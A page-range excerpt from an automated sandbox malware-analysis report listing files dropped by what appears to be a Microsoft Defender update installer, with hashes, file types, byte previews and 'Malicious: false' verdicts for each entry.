...............B,.d....C,.h.......`....p-.d1...`/.. ...P/.h4.../(.p.....................#.(.....".8.............#......;,.@....................text....q"......."................. ..`.rdata........".......".............@..@.data...
......,.......,.............@....pdata..d1...p-..@...@-.............@..@.didat..............................@....rsrc...`...........................@..@.reloc..h4...P/..@... /.............@..B............................
............................................................................................................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSvc.dll

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpUpdate.dll
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Category: dropped

Size (bytes): 151800

Entropy (8bit): 5.674686738982597

Encrypted: false

SSDEEP: 1536:LJ9Z2WHykjzKo81vmwUGKyBA3LTqjSL0fieoeKTePoWQbzkDHP+W:LJ9b3Kd1vm/GymuL0fieoeKTePovbzsT

MD5: BA4E1FC83B68F72927F58BBFA064C294

SHA1: F0F57EB79F2478D7BFE4AD4D18361D2F09E3E03A

SHA-256: 23C224794D0342F3C97D6F104B40465A8C314186DD3A9F0CBBC9A9441700AE83

SHA-512: 789D52FF5491488B162422BFB4A6D4FB9D40E905B6A370AD2A9F20BA095B9485D5AF07EB8CD660D2BF4F4906DC1FA68ACD223ACFE913FC5F99F78FBDA56DDC
A4

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ew9{!.W(!.W(!.W(.cT) .W(.cV)#.W(.dV)0.W(.dS),.W(.dT)&.W((n.(/.
W(!.V(q.W(.dR)..W(.cW) .W(.c^)n.W(.c.( .W(.cU) .W(Rich!.W(........................PE..d.... 3".........." ..... .....................h.............................@............`A..........................................
..L...\........ ...............0... ...0......@...p...................xU..(...@T..8............U...............................text............ .................. ..`.rdata..D....0.......0..............@..@.data... ...............
............@....pdata........... ..................@..@.rsrc........ ......................@..@.reloc.......0....... ..............@..B........................................................................................................
........................................................................................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpUxAgent.dll
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 545016

Entropy (8bit): 5.974310663865527

Encrypted: false

SSDEEP: 6144:j/zDRgR8KZHQf7uiJRpqVCy6H5gAH2IGCXl/2UWYbyKHiTVVmVVV8VVNVVVcVVVB:7zDRvDp/qVC1gAH2IGCXlPh4S

MD5: 68228D20DFAA033D246B8BED272CF92C

SHA1: F351C4991FFC3190131B279E06A0F58856EBC375

SHA-256: C44F961691C4F91AD370985D5EB281F843EB5DCF6F5EC98D9C9A509E789CB7E8

SHA-512: 2B327EB01858A1B7C80275B9F5B3B642592DFE0AD357B3C65D7C483D0CB59178CB33A245408BC0A962F28594B504C0F17521F567A8AD5CA981A770CC9B857916

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........>7._Y.._Y.._Y..*Z.._Y..*X.._Y.Y-X.._Y.Y-].._Y.Y-Z.._Y..'.._Y.
._X..^Y.Y-\.._Y.Y-..._Y..*Y.._Y..*P.._Y..*..._Y..*[.._Y.Rich._Y.........PE..d.....2.........." .................&.......................................0......;......A................................................8....
....0..\........#...0... ... ......  ..p...................X...(... ...8...............x............................text...%........................... ..`.rdata..x........ ..................@..@.data....-.......0..................@....pdat
a...#.......0..................@..@.rsrc...\....0.......0..............@..@.reloc....... ....... ..............@..B.............................................................................................................................
...........................................................................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MsMpEng.exe
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (GUI) x86-64, for MS Windows

Category: dropped

Size (bytes): 128392

Entropy (8bit): 5.775533067291842

Encrypted: false

SSDEEP: 3072:gPkBbbztTh/9kcexTIJO0gj7KTe9q7CTttUSkh6e5:gPIfRh/9kUJDZuttUNse

MD5: 15D205854CA62B75C0BF447F9DD8119D

SHA1: F1A1874738E310CE76D37C1045EA00C0CEFCF64B

SHA-256: B815A94D49CC0E8DB03456CBBAFB4A052F481531F8768CE704A2A012FD84B7AB

SHA-512: A6B324F884525875849994EE2247B98BF3D389A49B4E387A578F05E92FB754CEF6AD917D5CE201A40E88FDAA0A117C6D23EB5B7FEA6F4765F48EE957AB471B85

Malicious: false

Reputation: unknown
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Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........-.U.L...L...L..W9...L...>...L...>...L...4...L...>...L...>...L...L...M..
W9...L..W9y..L..W9...L..Rich.L..........PE..d....MCD.........."...........................@.....................................N......................................................tj..................|........%......`....<..p..
..................$..(...."..8...........@$...............................text...B........................... ..`.rdata...Y... ...`... ..............@..@.data...............................@....pdata..|........ ..................@
..@.rsrc...............................@..@.reloc..`...........................@..B.......................................................................................................................................................................
.........................................................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MsMpEng.exe

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MsMpLics.dll
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 20728

Entropy (8bit): 4.482228069977977

Encrypted: false

SSDEEP: 192:7rPEnfKWgFHWaALc2Fu462TNOxjB1RDBQABJpI4BOk9qnajR5d:7rPEniWgFHWa1MJERDBRJpxBhl95

MD5: 7B842DAC975E04C90F9B23B7D04B5160

SHA1: DE370B7FBC16E36955A700D472BAD83A029F2B52

SHA-256: 61D412008B89D3B931BC9E8AD731F792DD9EF2D2F147916103B8F9392CF8D501

SHA-512: 7D7891BC65B67D9FB9CBA00953A3B86FEFD987EAE2718C79C36B17E1DDAC054A40E3DDE7AF662C8126C2B8440F172C7DF01C24469A8C0D57BD719255BD432F7
2

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..d....I?.........." ......... .
..............................................0......P.....`A......................................................... ...............0... ..............T............................................................................rdata.........................
.....@..@.rsrc........ ....... ..............@..@...................................................................................................................................................................................................................
.............................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\NisSrv.exe
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: PE32+ executable (console) x86-64, for MS Windows

Category: dropped

Size (bytes): 2855512

Entropy (8bit): 6.440503543687848

Encrypted: false

SSDEEP: 49152:JwgA1BydF9JuPAdoZ6Ig1hUcN2DARtfp+Q4s+W8:JqTi7cW

MD5: 054F919445EDBC999989A1413FD87437

SHA1: 597196C3A4C1CDC1DB5F1A0C39C37CB6C4FC1FB1

SHA-256: A124EBD9240AAA542962CB2A1059B6315E9F2183CBFD08B4E8029EE15B6A009F

SHA-512: 38C530ABE67F12EEE0A6734CE51FCC24C0CD81AAFD232137A41E221B79FEE9BA07253DA7F50EBEE0E9BFF0FEBCC547C1CCFAE4AE7B222A13B8DC9A3097E2
ED50

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........h.C............C|......C|.......{.......{.......{.......q;..............{.......{U.........
....C|..i...C|W.....C|......Rich............................PE..d....\k..........."......0#..........]!........@............................. ,.......+...`...................................................(.,.....+.H....`*..P....+.X.....+.
.0.. .$.p...................h.#.(...0.#.8.............#.0....|(......................text...?'#......0#................. ..`.rdata...i...@#..p...@#.............@..@.data...@.....(.......(.............@....pdata...P...`*.
.`...P).............@..@.didat........+.......*.............@....rsrc...H.....+.......*.............@..@.reloc...0....+..@....*.............@..B......................................................................................
..........................................................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\Defender.psd1
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 13827

Entropy (8bit): 5.952601509916055

Encrypted: false

SSDEEP: 384:6B7YQ0ExG5Ju4mSFCsCow7+xPcgGywK85lbkn+uwgGhF887:4YQ0Ec5Ju4mweozx0gGyu5Sn+uDuF8c

MD5: 9346D71D826DC7B6580C6206FD1A272E

SHA1: 21B45677AE39E36928CC1DE58958350CF7B49FE7

SHA-256: EE3344F2D9FE64E0593B1DCE5FC4743D4891DAA6528A0650C41ED0D3F455D48E

SHA-512: FD976F99CF3B47D6D9E17CEEBF5322C2F9583FA0F9D65E3C6D5144926911861DA3B4E57BD4E72CF3DBF7826BE5B5EF107BAEEB0C1DDF433BE4020B91D03467
C9

Malicious: false

Reputation: unknown

Copyright Joe Security LLC 2021 Page 117 of 181



Preview:
@{..    GUID = 'C46BE3DC-30A9-452F-A5FD-4BF9CA87A854'..    Author="Microsoft Corporation"..    CompanyName="Microsoft Corporation"..    Copyright="Copyright 
(C) Microsoft Corporation. All rights reserved."..    ModuleVersion = '1.0'..    NestedModules = @( 'MSFT_MpComputerStatus.cdxml',..                       'MSFT_Mp
Preference.cdxml',..                       'MSFT_MpThreat.cdxml',..                       'MSFT_MpThreatCatalog.cdxml',..                       'MSFT_MpThreatDetection.cdxml',..             
          'MSFT_MpScan.cdxml',..                       'MSFT_MpSignature.cdxml',..                       'MSFT_MpWDOScan.cdxml',..                       'MSFT_MpPerforman
ceRecording.psm1'..                       )....    FormatsToProcess = @('MSFT_MpPerformanceReport.Format.ps1xml')....    FunctionsToExport = @( 'Get-MpPreference',..               
            'Set-MpPreference',..                           'Add-MpPreference',..                           'Remove-MpPreference',..        

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\Defender.psd1

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\MSFT_MpComputerStatus
.cdxml
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Category: dropped

Size (bytes): 13946

Entropy (8bit): 5.978353470104296

Encrypted: false

SSDEEP: 384:PX0m6YBOzHQV80tQEFMxOQhCLyTmSKXElIOhalPvnAQEYhW:v0m6YQzHY80tQpOQYLy6SKkIZFvnAQhU

MD5: 58DF8D38469AF7353B672A6F145994DC

SHA1: DDC641F88A0B3452366CB920306CC3A90961A3C0

SHA-256: A63B944CF4FB3DB7F758F7E4D94126ABE99916127E451E0C139D71E94744084A

SHA-512: 67B82A79DB97641976C942C448DF9D99317FF5CDC0BE3A1DB1CCA04C3BB8CE3832238E031D22E06CAE4E8ADD3BAB88CEEE29613680C8F33F197599D78633429
5

Malicious: false

Reputation: unknown

Preview:
.<?xml version="1.0" encoding="utf-8"?>..<PowerShellMetadata xmlns="http://schemas.microsoft.com/cmdlets-over-objects/2009/11">..  <Class ClassName="R
OOT\Microsoft\Windows\Defender\MSFT_MpComputerStatus">..    <Version>1.0</Version>..    <DefaultNoun>MpComputerStatus</DefaultNoun>....    <InstanceCm
dlets>..      <GetCmdletParameters DefaultCmdletParameterSet="DefaultSet">..              ..      </GetCmdletParameters>..    </InstanceCmdlets>  ..  </Class>..  ..</Powe
rShellMetadata>........   SIG # Begin signature block -->..   MIIhZwYJKoZIhvcNAQcCoIIhWDCCIVQCAQExDzANBglghkgBZQMEAgEFADB5Bgor -->..   BgEEA
YI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG -->..   KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCC
GKubREngV5EF -->..   DodK5brTAqlkaVHav/M+SkqGWqFKKqCCC14wggTrMIID06ADAgECAhMzAAAIMJFU -->..   sm0DDuykAAAAAAgwMA0GCSqGSIb3DQEBCwUA
MHkxCzAJBgNVBAYTAlVTMRMwEQYD -->..   VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNy -->..   b3NvZnQgQ29y

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\MSFT_MpPerformanceRec
ording.psm1
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 39934

Entropy (8bit): 5.64362105596826

Encrypted: false

SSDEEP: 768:yFAwQAuFiCFivo1BWMmr8OGPDKQxV3LqIYQ0Ec5Ju4mweS0+dgGyTi5Sn+UuHA:y14cC4vo1BWMmr8OGPDKQxV3LqY/fSKR

MD5: CBA32A98D0EC2D6CCCD3306BFF7AD3D2

SHA1: D8F98682DC20E7AD744DE5208C0A472FCB3A33C9

SHA-256: B77C1F9B9263345F34FE32EED15BD8E3925D378CAEF5D83FEB49275447BCCED6

SHA-512: 9426238394A6043D1A16E1CDEDA953DBD5C6DF8C7D2DBA3A3F34C3E5F963927A1C9791869E4ACE96F670921827E95D9BAF30544D558C521BD01C0E5AC7CB6F6
1

Malicious: false

Reputation: unknown

Preview:
## Copyright (c) Microsoft Corporation. All rights reserved.....<#...SYNOPSIS..This cmdlet collects a performance recording of Microsoft Defender Antivirus..scans......DE
SCRIPTION..This cmdlet collects a performance recording of Microsoft Defender Antivirus..scans. These performance recordings contain Microsoft-Antimalware-Engin
e..and NT kernel process events and can be analyzed after collection using the..Get-MpPerformanceReport cmdlet.....This cmdlet requires elevated administrator p
rivileges.....The performance analyzer provides insight into problematic files that could..cause performance degradation of Microsoft Defender Antivirus. This tool is..pr
ovided "AS IS", and is not intended to provide suggestions on exclusions...Exclusions can reduce the level of protection on your endpoints. Exclusions,..if any, should be 
defined with caution......EXAMPLE..New-MpPerformanceRecording -RecordTo:.\Defender-scans.etl....#>..function New-MpPerformanceRecording {..    [CmdletBinding()]..    
par

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\MSFT_MpPerformanceRec
ording.wprp
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: XML 1.0 document, UTF-8 Unicode (with BOM) text

Category: modified

Size (bytes): 4971

Entropy (8bit): 4.542570045638256

Encrypted: false

SSDEEP: 96:aAPEP3EPGEPJuDhDEMTRBTCq6IQEPvAwWSJNLKI+EPZMhkvyXHkJi2eEPZMUkvy/:aAcPUPpPJfMTRBTr6ILPvAwW6NRPZMh2

MD5: 990729AD92C1325C42B04BC975ECBD57

SHA1: 1CDBE901753CCE8D933DF8D50507CE16A25AA428

SHA-256: E796454FEE4CF17EFDC25DB5FEEF00A5D7C1B335E6C4B4FE996E8AD7CAB01BC8

SHA-512: EA0BCD6122068DA9412E5195C7AA3017C187790C790197AC5AF129F3ACF6C23780169C0165627E5C55CB3B99E6931CB18A42E61701C647FF07EAF6DA2740DAEB
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Malicious: false

Reputation: unknown

Preview:
.<?xml version="1.0" encoding="utf-8" standalone='yes'?>..<WindowsPerformanceRecorder Version="1.0" Author="Microsoft Defender for Endpoint" Team="Microsoft Def
ender for Endpoint" Comments="Microsoft Defender for Endpoint Scan performance tracing" Company="Microsoft Corporation" Copyright="Microsoft Corporation">.    <
Profiles>.           System Providers -->..        <SystemProvider Id="SystemProvider_Scans_Light">.            <Keywords>.                <Keyword Value="CpuConfig" />.           
     <Keyword Value="ProcessThread" />.                <Keyword Value="ProcessCounter" />.            </Keywords>.        </SystemProvider>..        <SystemProvider Id="S
ystemProvider_Scans_Verbose" Base="SystemProvider_Scans_Light">.            <Keywords Operation="Add">.                <Keyword Value="Loader" />.                
<Keyword Value="SampledProfile"/>.            </Keywords>.            <Stacks>.                <Stack Value="SampledProfile"/>.            </Stacks>.        </Syste

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\MSFT_MpPerformanceRec
ording.wprp

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\MSFT_MpPerformanceRep
ort.Format.ps1xml
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: XML 1.0 document, ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 61966

Entropy (8bit): 4.530280013007693

Encrypted: false

SSDEEP: 768:Bw2C10m6YQzHY80tQcd02cYVWVc80Bv/C:Bw2CTVtZk

MD5: C9734A297293CCE204D369DD392EDDC9

SHA1: 83C091027F5BE029364DBB6C9D32BB294BC6579A

SHA-256: CDF89F9602942969AE0493769EAC7DAA8022A1E8295D49403F1206615F92071A

SHA-512: C474FB8F33E56DE45CB481CF921C9C21019F7610A35405BF16736A8A9C51901E750427E73271580FD1D169271DEB24A4BF1DFF130B76F26870EB4A5BE6201A7F

Malicious: false

Reputation: unknown

Preview:
<?xml version="1.0" encoding="utf-8"?>..<Configuration>..  <ViewDefinitions>..    <View>..      <Name>default</Name>..      <ViewSelectedBy>..        <TypeName>
MpPerformanceReport.Result</TypeName>..        <TypeName>Deserialized.MpPerformanceReport.Result</TypeName>..      </ViewSelectedBy>..      <CustomCon
trol>..        <CustomEntries>..          <CustomEntry>..            <CustomItem>..              <ExpressionBinding>..                <PropertyName>TopFiles</PropertyName>..       
         <ItemSelectionCondition>..                  <ScriptBlock>($_ | gm -Name:'TopFiles' -MemberType:NoteProperty).Count -gt 0</ScriptBlock>..                </ItemSel
ectionCondition>..                <CustomControl>..                  <CustomEntries>..                    <CustomEntry>..                      <CustomItem>..                        <NewLine 
/>..                        <Text>TopFiles</Text>..                        <NewLine />..                        <Text>========</Text>..               

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\MSFT_MpPreference.cdxml
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: XML 1.0 document, ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 112029

Entropy (8bit): 4.059259917659887

Encrypted: false

SSDEEP: 768:5ouSOD2TIBNoNejxo98U0m6YQzHY80tQ4TQWjL+6SNSIZFvnAStOp:5pSODnBNUejx3mVt1LBuA7

MD5: 710B025F9E1944FDB020F27389A2E8B3

SHA1: C8CB55361A6F483CD6B464C5364ED091AFE46DD3

SHA-256: AA9021CFDC42493E2A759BAD0159001FFB12110FF83CD16021E57570E6402805

SHA-512: C01AD9EB3B6394192E69F3C14A9BB5B266F04213B687D754E41D8DA080F2BFD3333ED970A4EBC04E0B657ECF7DBA8D7C44F2AC99857DA5A0A25E05FE3A7932
9E

Malicious: false

Reputation: unknown

Preview:
<?xml version="1.0" encoding="utf-8"?>..<PowerShellMetadata xmlns="http://schemas.microsoft.com/cmdlets-over-objects/2009/11">..    <Class ClassName="root\Micro
soft\Windows\Defender\MSFT_MpPreference" ClassVersion="1.0">..        <Version>1.0</Version>..        <DefaultNoun>MpPreference</DefaultNoun>..        <Instance
Cmdlets>..            <GetCmdletParameters DefaultCmdletParameterSet="DefaultSet">..            </GetCmdletParameters>..        </InstanceCmdlets>....        <StaticCmdle
ts>..            <Cmdlet>..                <CmdletMetadata Verb="Set" />..                <Method MethodName="Set">..                    <ReturnValue>..                        <Type 
PSType="System.Int32" />..                        <CmdletOutputMetadata>..                            <ErrorCode />..                        </CmdletOutputMetadata>..                    </
ReturnValue>..                    <Parameters>..                        <Parameter ParameterName="ExclusionPath">..                         

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\MSFT_MpScan.cdxml
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Category: dropped

Size (bytes): 15262

Entropy (8bit): 5.965807864910325

Encrypted: false

SSDEEP: 384:7DORD5N4I0m6YBOzHQV80tQEFl3uN+HzbycVZ1gX5BRpBbpm39B4:K0m6YQzHY80tQpNWfgBHBo39B4

MD5: 7528936578CAEAEFE7B398C8EF4E0A47

SHA1: 9BBABA934E9C442A4630233D3BE04A4D4333E352

SHA-256: A51C86EFD506A132274C37E288B9B697BC865F14D6D6451DA7399C7B5F36751F

SHA-512: 13D7B389428D07A7D33CBC0276919A601C686CF4A0E99059AF1D81AC0784EE61DFC5354E80D3D6E2B6E801769968980B828ACC5DC1885E6CBE73A2941D3823AC

Malicious: false
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Reputation: unknown

Preview:
.<?xml version="1.0" encoding="utf-8"?>..<PowerShellMetadata xmlns="http://schemas.microsoft.com/cmdlets-over-objects/2009/11">..  <Class ClassName="R
OOT\Microsoft\Windows\Defender\MSFT_MpScan" ClassVersion="1.0">..    <Version>1.0</Version>..    <DefaultNoun>MpScan</DefaultNoun>..    <StaticCmdlets>..      
<Cmdlet>..        <CmdletMetadata Verb="Start" />..        <Method MethodName="Start">..          <ReturnValue>..            <Type PSType="System.Int32" />..            <C
mdletOutputMetadata>..              <ErrorCode />..            </CmdletOutputMetadata>..          </ReturnValue>..          <Parameters>..            <Parameter Parameter
Name="ScanPath">..              <Type PSType="System.String" />..              <CmdletParameterMetadata>..                <ValidateNotNull />..                <ValidateNo
tNullOrEmpty />..              </CmdletParameterMetadata>..            </Parameter>..            <Parameter ParameterName="ScanType">..              <Type PSType="MpScan.
ScanType

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\MSFT_MpScan.cdxml

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\MSFT_MpSignature.cdxml
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Category: dropped

Size (bytes): 15262

Entropy (8bit): 5.966711820105084

Encrypted: false

SSDEEP: 384:E6D5YR4l0m6YBOzHQV80tQEFekIqeYQXCSPmTmSI4ElIOhalPvnAS/M0b5hsPDG:B0m6YQzHY80tQjqeYQSSO6SmIZFvnASn

MD5: A212A25B0FA39ACB5D3F02E1CC622730

SHA1: 77846568863D3AEF5453AEF81C4302DD3F7C87BB

SHA-256: 6A8DC2AA231D974A36E0EC86751139873226D6157232EDB63AFB2AEB110CD8F5

SHA-512: EBE171D29147429ABD182BE10174FE498EECA6D91D8DB8D9A55511E37C6E42F797A1D80892D95A61A116BCFB73DB99CEB0CC2B3365F0506ABF555E6FE80B750
3

Malicious: false

Reputation: unknown

Preview:
.<?xml version="1.0" encoding="utf-8"?>..<PowerShellMetadata xmlns="http://schemas.microsoft.com/cmdlets-over-objects/2009/11">..  <Class ClassName="R
OOT\Microsoft\Windows\Defender\MSFT_MpSignature" ClassVersion="1.0">..    <Version>1.0</Version>..    <DefaultNoun>MpSignature</DefaultNoun>..    <Sta
ticCmdlets>..      <Cmdlet>..        <CmdletMetadata Verb="Update" />..        <Method MethodName="Update">..          <ReturnValue>..            <Type PSType="
System.Int32" />..            <CmdletOutputMetadata>..              <ErrorCode />..            </CmdletOutputMetadata>..          </ReturnValue>..          <Parameters>..            
<Parameter ParameterName="UpdateSource">..              <Type PSType="MpSignature.UpdateSource" />..              <CmdletParameterMetadata>..                <
AllowEmptyString />..                <AllowNull />..                <ValidateNotNull />..                <ValidateNotNullOrEmpty />..                <ValidateSet>..                  <Allowed
Value>In

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\MSFT_MpThreat.cdxml
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Category: dropped

Size (bytes): 14872

Entropy (8bit): 5.9567543836192955

Encrypted: false

SSDEEP: 384:T50m6YBOzHQV80tQEFlS+yB+HzbycVZ1gX5BRpBbpmUBv/:l0m6YQzHY80tQUaWfgBHBoUBv/

MD5: CF0F8A1D51777BDD9D08FEB023A2162A

SHA1: 47066E1FEB3C61779CC76CB52BE02148FC149CDF

SHA-256: CFFD2BA2255685803B32ADE8D2D238A07AAEB8071EA04BCBB75CE0EF61FE9AE7

SHA-512: B49A361319B5EA816C1FABB831C6B43C761427D7913D18E2D94AB4FE181A89394B5ADE044C1E9672FAF7B4B15D73F305CB0A8CFD8965348AD292DFD2257D99A
8

Malicious: false

Reputation: unknown

Preview:
.<?xml version="1.0" encoding="utf-8"?>..<PowerShellMetadata xmlns="http://schemas.microsoft.com/cmdlets-over-objects/2009/11">..    <Class ClassName=
"ROOT\Microsoft\Windows\Defender\MSFT_MpThreat" ClassVersion="1.0">..        <Version>1.0</Version>..        <DefaultNoun>MpThreat</DefaultNoun>..        <Insta
nceCmdlets>..            <GetCmdletParameters DefaultCmdletParameterSet="DefaultSet">..                <QueryableProperties>..                    <Property PropertyName="
ThreatID">..                        <Type PSType="int64" />..                        <RegularQuery>..                            <CmdletParameterMetadata IsMandatory="false" Aliase
s="ID"..                               CmdletParameterSets="ById" />..                        </RegularQuery>..                    </Property>..                </QueryableProperties>..            
</GetCmdletParameters>..        </InstanceCmdlets>..        <StaticCmdlets>..            <Cmdlet>..                <CmdletMetadata Verb="Remov

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\MSFT_MpThreatCatalog.cdxml
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Category: dropped

Size (bytes): 14359

Entropy (8bit): 5.974349558252268

Encrypted: false

SSDEEP: 384:K0m6YBOzHQV80tQEFtVSderomWQfUCzuMKqbeUs:K0m6YQzHY80tQaS6omlfUCqMKqVs

MD5: 125B977FF0EE6A36452A2B6FD5AE2316

SHA1: 0C76D5588B36B5A9BFA5F2E3DD64CEA80FB1930D

SHA-256: 7856F35EB7FB72BBF8CAAAC05FD99CEE139F694209BCFBCA41AEB4C3B4CD2413

SHA-512: 9B9E246807F2890B9530197C5EFC8B236C2E11D2B616BE3E6DC813E9F8984197759A77AC73B8D8AF5FF9C13CBB370980B6DDC768281C4E38FF51CACF0D2E2B27

Malicious: false

Reputation: unknown
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Preview:
.<?xml version="1.0" encoding="utf-8"?>..<PowerShellMetadata xmlns="http://schemas.microsoft.com/cmdlets-over-objects/2009/11">..  <Class ClassName="R
OOT\Microsoft\Windows\Defender\MSFT_MpThreatCatalog" ClassVersion="1.0">..    <Version>1.0</Version>..    <DefaultNoun>MpThreatCatalog</DefaultNoun>..      
<InstanceCmdlets>..          <GetCmdletParameters DefaultCmdletParameterSet="DefaultSet">..              <QueryableProperties>..                  <Property Property
Name="ThreatID">..                        <Type PSType="int64" />..                        <RegularQuery>..                            <CmdletParameterMetadata IsMandatory="false" 
Aliases="ID"..                               CmdletParameterSets="ById" />..                        </RegularQuery>..                    </Property>..              </QueryableProperties>..          
</GetCmdletParameters>..      </InstanceCmdlets>..  </Class>..</PowerShellMetadata>..   SIG # Begin signature block -->..   MIIhXAYJKoZIhvcNAQcCoI

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\MSFT_MpThreatCatalog.cdxml

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Powershell\MSFT_MpThreatDetectio
n.cdxml
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

File Type: XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Category: dropped

Size (bytes): 14398

Entropy (8bit): 5.977177438588654

Encrypted: false

SSDEEP: 384:M0m6YBOzHQV80tQEFubg1+/pjK02JsuVRqikVcqgyOTx0vz:M0m6YQzHY80tQt3/M02JVWVcqHSxY

MD5: 7C91EEB90EFFB9A8D11DF34FA04FB359

SHA1: BDFD38D168DBD76C7EC1045B8C15AFD1D6905C74

SHA-256: 97DF56A7933A45143233D314EA947801BF0A475D55A9D852FB411FFD98CB4123

SHA-512: 141BF2F83BE8728B1480469830AD0B7BD3F2E32A1EDF58EA528C26576E0E4BB5510F64B994D6A4C337EB537CB40AC78D3329637184D844BAFF0FC88CA24CF865

Malicious: false

Reputation: unknown

Preview:
.<?xml version="1.0" encoding="utf-8"?>..<PowerShellMetadata xmlns="http://schemas.microsoft.com/cmdlets-over-objects/2009/11">..  <Class ClassName="R
OOT\Microsoft\Windows\Defender\MSFT_MpThreatDetection" ClassVersion="1.0">..    <Version>1.0</Version>..    <DefaultNoun>MpThreatDetection</DefaultNoun>..      
